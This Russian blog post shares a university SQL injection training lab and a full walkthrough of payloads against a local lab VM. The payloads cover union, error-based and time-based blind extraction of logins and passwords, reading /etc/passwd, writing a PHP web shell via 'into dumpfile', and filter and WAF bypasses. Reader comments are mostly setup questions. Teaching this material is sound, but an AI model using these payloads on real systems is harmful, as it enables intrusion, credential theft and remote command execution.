Advanced SQL Injection lab (full pack)

По полученным просьбам, выкладываю полные оригиналы всех материалов, которые готовились для МИФИ по теме "Внедрение операторов SQL".

Оригинал презентации:



Раздаточный материал:

Виртуальную машину, можно забрать отсюда (UPDATED).

MD5 0cd5f40393f887aea025ab9b03799b11 *PT-SQL-Injection-LAB.rar

Технические детали:

Для запуска виртуальной машины может использоваться VMWare Player. IP-адрес системы управления - 192.168.0.50 (management). IP-адрес системы для проведения лабораторной работы – 192.168.0.51 (target). Пароль на учетную запись "root" в ОС/MySQL – "Mifilab1".

Подсказки по выполнению лабораторной работы:

1.1 "Внедрение операторов SQL" (SQL INJECTION)

http://192.168.0.51/
'or 1=1--
http://192.168.0.51/action2.php?id=14+OR+1=1--
http://192.168.0.51/action2.php?id=14+union+select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns--
http://192.168.0.51/action2.php?id=14+union+select+concat_ws(0x3a,id,login,password,name)+from+users--

1.2 "Слепое внедрение операторов SQL" (BLIND SQL INJECTION)

http://192.168.0.51:81/actions.php?id=1+AND+extractvalue(1,concat(0x5C,(select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns+limit+0,1)))--
http://192.168.0.51:81/actions.php?id=1+AND+extractvalue(1,concat(0x5C,(select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns+where+table_schema!='information_schema'+limit+0,1)))--
http://192.168.0.51:81/actions.php?id=1+AND+extractvalue(1,concat(0x5C,(select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns+where+table_schema!='information_schema'+limit+3,1)))--
http://192.168.0.51:81/actions.php?id=1+AND+extractvalue(1,concat(0x5C,(select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns+where+table_schema!='information_schema'+limit+4,1)))--
http://192.168.0.51:81/actions.php?id=1+AND+extractvalue(1,concat(0x5C,(select+concat_ws(0x3a,login,password)+from+users1+limit+0,1)))--

http://192.168.0.51:81/actions.php?f=1+and+sleep(10)--
http://192.168.0.51:81/actions.php?f=1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),1,1)))='a',sleep(10),1)--
http://192.168.0.51:81/actions.php?f=1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),1,1)))='2',sleep(10),1)--
http://192.168.0.51:81/actions.php?f=1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),2,1)))='b',sleep(10),1)--
http://192.168.0.51:81/actions.php?f=1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),3,1)))='l',sleep(10),1)--
http://192.168.0.51:81/actions.php?f=1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),4,1)))='i',sleep(10),1)--
http://192.168.0.51:81/actions.php?f=1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),5,1)))='n',sleep(10),1)--
http://192.168.0.51:81/actions.php?f=1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),6,1)))='d',sleep(10),1)--
http://192.168.0.51:81/actions.php?f=1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),7,1)))='s',sleep(10),1)--
http://192.168.0.51:81/actions.php?f=1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),8,1)))='q',sleep(10),1)--
http://192.168.0.51:81/actions.php?f=1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),9,1)))='l',sleep(10),1)--
http://192.168.0.51:81/actions.php?f=1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),10,1)))='a',sleep(10),1)--
http://192.168.0.51:81/actions.php?f=1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),11,1)))='d',sleep(10),1)--
http://192.168.0.51:81/actions.php?f=1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),12,1)))='m',sleep(10),1)--
http://192.168.0.51:81/actions.php?f=1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),13,1)))='i',sleep(10),1)--
http://192.168.0.51:81/actions.php?f=1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),14,1)))='n',sleep(10),1)--
http://192.168.0.51:81/actions.php?f=1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),15,1)))=':',sleep(10),1)--
http://192.168.0.51:81/actions.php?f=1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),16,1)))='p',sleep(10),1)--
http://192.168.0.51:81/actions.php?f=1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),17,1)))='a',sleep(10),1)--
http://192.168.0.51:81/actions.php?f=1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),18,1)))='r',sleep(10),1)--
http://192.168.0.51:81/actions.php?f=1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),19,1)))='0',sleep(10),1)--
http://192.168.0.51:81/actions.php?f=1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),20,1)))='l',sleep(10),1)--

1.3 Работа с файловой системой при эксплуатации уязвимости SQL INJECTION

http://192.168.0.51:8080/index.php?fl=5+union+select+load_file('/etc/passwd')--
http://192.168.0.51:8080/index.php?fl=5+union+select+load_file('/')--
http://192.168.0.51:8080/index.php?fl=5+union+select+load_file('/usr/local/www/apache22/data3/tmp/')--
http://192.168.0.51:8080/index.php?fl=5+union+select+'test'+into+dumpfile+'/usr/local/www/apache22/data3/tmp/test.txt'--

1.4 Выполнение команд на сервере при эксплуатации уязвимости SQL INJECTION

http://192.168.0.51:8080/index.php?fl=5+union+select+'<? system($_GET[cmd]); ?>'+into+dumpfile+'/usr/local/www/apache22/data3/shells//test.php'--
http://192.168.0.51:8080/shells/test.php?cmd=ls

1.5 Обход программных фильтров безопасности при эксплуатации уязвимости SQL INJECTION

http://192.168.0.51:8585/hex.php
http://192.168.0.51:8585/actions.php?d=1/**/or+1=1--
http://192.168.0.51:8585/actions.php?d=1/**/or/**/1=1
http://192.168.0.51:8585/actions.php?d=1/**/uni--on/**/se--lect/**/1
http://192.168.0.51:8585/actions.php?d=1/**/uni--on/**/se--lect/**/concat_ws(0x3a,table_name,column_name)/**/from/**/information_schema.columns/**/where/**/table_schema!=0x696E666F726D6174696F6E5F736368656D61
http://192.168.0.51:8585/actions.php?d=1/**/limit/**/0/**/uni--on/**/se--lect/**/concat_ws(0x3a,table_name,column_name)/**/from/**/information_schema.columns/**/where/**/table_schema!=0x696E666F726D6174696F6E5F736368656D61
http://192.168.0.51:8585/actions.php?d=1/**/limit/**/0/**/uni--on/**/se--lect/**/concat_ws(0x3a,table_name,column_name)/**/from/**/information_schema.columns/**/where/**/table_schema!=0x696E666F726D6174696F6E5F736368656D61/**/AND/**/table_name/**/not/**/in(0x616374696F6E73)
http://192.168.0.51:8585/actions.php?d=1/**/limit/**/0/**/uni--on/**/se--lect/**/concat_ws(0x3a,table_name,column_name)/**/from/**/information_schema.columns/**/where/**/table_schema!=0x696E666F726D6174696F6E5F736368656D61/**/limit/**/0,1/**/un--ion/**/sel--ect/**/1
http://192.168.0.51:8585/actions.php?d=1/**/limit/**/0/**/uni--on/**/se--lect/**/concat_ws(0x3a,table_name,column_name)/**/from/**/information_schema.columns/**/where/**/table_schema!=0x696E666F726D6174696F6E5F736368656D61/**/limit/**/3,1/**/un--ion/**/sel--ect/**/1
http://192.168.0.51:8585/actions.php?d=1/**/limit/**/0/**/uni--on/**/se--lect/**/concat_ws(0x3a,table_name,column_name)/**/from/**/information_schema.columns/**/where/**/table_schema!=0x696E666F726D6174696F6E5F736368656D61/**/limit/**/4,1/**/un--ion/**/sel--ect/**/1

http://192.168.0.51:8585/actions.php?d=1/**/limit/**/0/**/uni--on/**/se--lect/**/concat_ws(0x2e,table_schema,table_name)/**/from/**/information_schema.columns/**/where/**/table_schema!=0x696E666F726D6174696F6E5F736368656D61/**/limit/**/2,1/**/un--ion/**/sel--ect/**/1
http://192.168.0.51:8585/actions.php?d=1/**/limit/**/0/**/uni--on/**/se--lect/**/concat_ws(0x3a,username,pass)/**/from/**/web4.usersdb/**/limit/**/0,1/**/un--ion/**/sel--ect/**/1

1.6 Обход Web Application Firewall (WAF) при эксплуатации уязвимости SQL INJECTION

http://192.168.0.51:9191/index.php?id=-1+union/*&lang=*/select+1,2,3
http://192.168.0.51:9191/index.php?id=-1+union/*&lang=*/select+1,2,table_name+information_schema.columns
http://192.168.0.51:9191/index.php?id=-1+union/*&lang=*/select+1,2,3+from+users
http://192.168.0.51:9191/index.php?id=-1+union/*&lang=*/select+*+from(select+*+from+users+join+users+b)a
http://192.168.0.51:9191/index.php?id=1+union/*&lang=*/select+*+from(select+*+from+users+join+users+b+using(id))a
http://192.168.0.51:9191/index.php?id=1+union/*&lang=*/select+*+from(select+*+from+users+join+users+b+using(id,wafusr,pwdwwaff))a
http://192.168.0.51:9191/index.php?id=-1+union/*&lang=*/select+wafusr,pwdwwaff,priv+from+users

ЗЫ: с учетом метода, приведенного в предыдущем посте, часть 1.6 может выполняться гораздо проще;)

49 комментариев :

  1. Отличный материал, во всех ВУЗах надо так.

    ОтветитьУдалить
  2. У нас так и было, только в рамках тренировок CTF, а не в учебном процессе.

    ОтветитьУдалить
  3. по какой лицензии выпускаешь? :)))

    ОтветитьУдалить
  4. to Nikita Rrrr:

    :))) очень хороший вопрос!
    Материалом можно пользоваться в любых целях, вплоть до полного копи-паста в собственные учебные материалы, курсы и презентации. Необходимо только ссылаться на то, что материал был подготовлен на основе курса Positive Technologies (мы эту тему все равно будем развивать, вероятно, придем к полному курсу по безопасности Web-приложений). И не обязательно ссылаться в данном случае на этот блог, ссылка может быть и на оф. сайт Компании, например, на раздел аналитики: http://www.ptsecurity.ru/analytics.asp
    И раз уж, речь зашла про наш раздел аналитики, не забываем, что сайт представлен на двух языках и часть материала также переводится на английский язык http://www.ptsecurity.com/analytics.asp

    ОтветитьУдалить
  5. Скажите пожалуйста, а как начать лабораторную работу? Всмысле, с помощью какой команды перейти на адрес с заданиями?

    []# http://192.168.0.51:80/
    No such file or a directory.

    ОтветитьУдалить
  6. А можно презентации в виде обычного .pdf?

    ОтветитьУдалить
  7. необходимо установить на сетевом адаптаре ip-адрес из подсети 192.168.0.0/24 (например, 192.168.0.1 маска 255.255.255.0). после этого, можно подключиться (браузером) к http://192.168.0.51:80/ и далее по списку
    ЗЫ: само собой, нужно поднять (загрузить) виртуальную машину

    ОтветитьУдалить
  8. >> А можно презентации в виде обычного .pdf?
    будет выложена по адресу: http://www.ptsecurity.ru/analytics.asp

    ОтветитьУдалить
  9. пожалуйста: http://www.ptsecurity.ru/download/PT-devteev-Advanced-SQL-Injection.pdf

    ОтветитьУдалить
  10. Здравствуйте.
    Скажите пожалуйста, где можно скачать виртуальную машину PT_SQL_Injection_MIFI-LAB.rar, а то ссылка на странице не работает?

    ОтветитьУдалить
  11. произошел сбой сервера. файл будет снова доступен на download.securitylab.ru в ближайшее время

    ОтветитьУдалить
  12. Здравствуйте.
    Скажите пожалуйста, существуют ли какие-нибудь письменные материалы в которых пояснялись бы примеры из презентации? И существует ли статистика уязвимостей веб-приложений за 2010 или 2011 года?

    ОтветитьУдалить
  13. собственно вот: http://www.slideshare.net/devteev/pt-mifi-labsql

    Касаемо статистики за 2010 год, она на стадии подготовки.

    ОтветитьУдалить
  14. Спасибо. А ещё Вы не подскажите, когда приблизительно она появится?

    ОтветитьУдалить
  15. думаю в следующем месяце

    ОтветитьУдалить
  16. Здравствуйте.
    Извиняюсь, что постоянно есть вопросы. Но при выполнении лабораторной работы возникла проблема. После того как был получен пароль пользователя blindSQLadmin, я зашел под ним в систему, но перехода на страницу /actions.php не обнаружил. При переходе на нее в адресной части ничего не меняется, то есть задания остаются недоступными(то есть не появляется ничего в адресной строке к чему можно было бы дописывать параметры по заданию). Прошу Вас помочь с этим.

    ОтветитьУдалить
  17. очень странно... насколько я помню в интерфейсе должна быть ссылка. в любом случае, должен работать следующий запрос: http://192.168.0.51:81/actions.php и уязвимость в параметре "f": http://192.168.0.51:81/actions.php?f=1+and+sleep(10)--

    ОтветитьУдалить
  18. Эти запросы я сразу и попробовал. При вводе последнего не выдается ни ошибка, ни какая-либо другая информация. Может с установкой машины я сделал что не так. Установил ее в связке с Ubuntu, так как там же просто консоль.

    А так получается что, раз на этом этапе пароль не получить, то и дальнейшие задания выполнить не удастся.

    Все равно спасибо за помощь.

    ОтветитьУдалить
  19. Здравствуйте. Скажите пожалуйста, когда в вашем блоге будет выложена свежая статистика уязвимостей (за 2010/11 года)?

    ОтветитьУдалить
  20. Здравствуйте. Я опять с тем же вопросом. Скажите пожалуйста, когда в итоге в вашем блоге будет представлена свежая статистика уязвимостей?

    ОтветитьУдалить
  21. в начале следующего месяца (теперь точно:))

    ОтветитьУдалить
  22. эх, очень жаль. мне так нужна свежая для диплома) буду ждать с нетерпением)

    ОтветитьУдалить
  23. Извините, по ссылке файл PT_SQL_Injection_MIFI-LAB.rar не скачивается. Просьба сообщить актуальную ссылку.

    ОтветитьУдалить
  24. Просьба еще раз выложить файлик с виртуалкой.

    ОтветитьУдалить
  25. Перезалейте please файл с виртуалкой !!!

    ОтветитьУдалить
  26. на виртуалке не установлен Mysql

    ОтветитьУдалить
  27. Вы извините, что может смешные вопросы задаю, фрибсд не пользовался, а убунту только из под графической оболочки. Я так понял, браузер из под графического интерфейса нужно запускать, а никакого графического пакета на представленной виртуальной машине предустановленного нет?

    ОтветитьУдалить
  28. Так, выходит, нужно загрузить какой-то графический пакет. Но он не загружается, недоступен урл, пишет система. В этом случае нужно сменить адрес на другой, с маской 24, как вы написали выше? В таком случае, мне осталось лишь найти в мануалах, как сменить сетевой адрес в ос при помощи командной строки, сделать это, загрузить кде или что-нибудь еще там, запустить ее и затем можно приступать к выполнению работы?

    ОтветитьУдалить
  29. >> Так, выходит, нужно загрузить какой-то графический пакет

    нет, система работает из коробки

    >> В таком случае, мне осталось лишь найти в мануалах, как сменить сетевой адрес в ос при помощи командной строки

    пример для windows из командной строки:
    netsh interface ip set address name="Local Area Connection" static 192.168.0.100 255.255.255.0 192.168.0.1 1

    ОтветитьУдалить
    Ответы
    1. Для приведенной команды отвечает "Синтаксическая ошибка в имени файла, имени папки или метке тома."
      Осталось непонятным, как все-таки настроить возможность выходить с браузера. Буду признателен за подробное или работающее решение

      Удалить
  30. Все, разобрался, спасибо.

    ОтветитьУдалить
  31. Добрый день, Вы не подскажите новичку, почему не получается подключиться по указанному адресу через браузер? Виртуалка с фрей запущена, айпи адрес на eth0 сменил на айпи из локальной подсети. Надо ли что-нибудь на виртуалке прописвыать или необходимо просто залогиниться? Сижу на дебиане. Буду очень благодарен за ответ.

    ОтветитьУдалить
  32. изменил другое устройство lo

    lo Link encap:Local Loopback
    inet addr:192.168.0.15 Mask:255.255.255.0
    inet6 addr: ::1/128 Scope:Host
    UP LOOPBACK RUNNING MTU:65536 Metric:1
    RX packets:168 errors:0 dropped:0 overruns:0 frame:0
    TX packets:168 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:0
    RX bytes:12348 (12.0 KiB) TX bytes:12348 (12.0 KiB)

    начал передавать пакеты, но через браузер не получается подконнектться

    ОтветитьУдалить
  33. через пинг шлет пакеты, а телнет connection refused

    ОтветитьУдалить
  34. из фрей телнет не работает(из виртуалки)

    ОтветитьУдалить
  35. lo - это интерфейс локалхоста, его трогать не нужно

    ОтветитьУдалить
  36. Дмитрий, а ссылку на виртуалку или скрипты как то можно ещё получить? :)

    ОтветитьУдалить
    Ответы
    1. нет, да и актуальность всего этого уже не та

      Удалить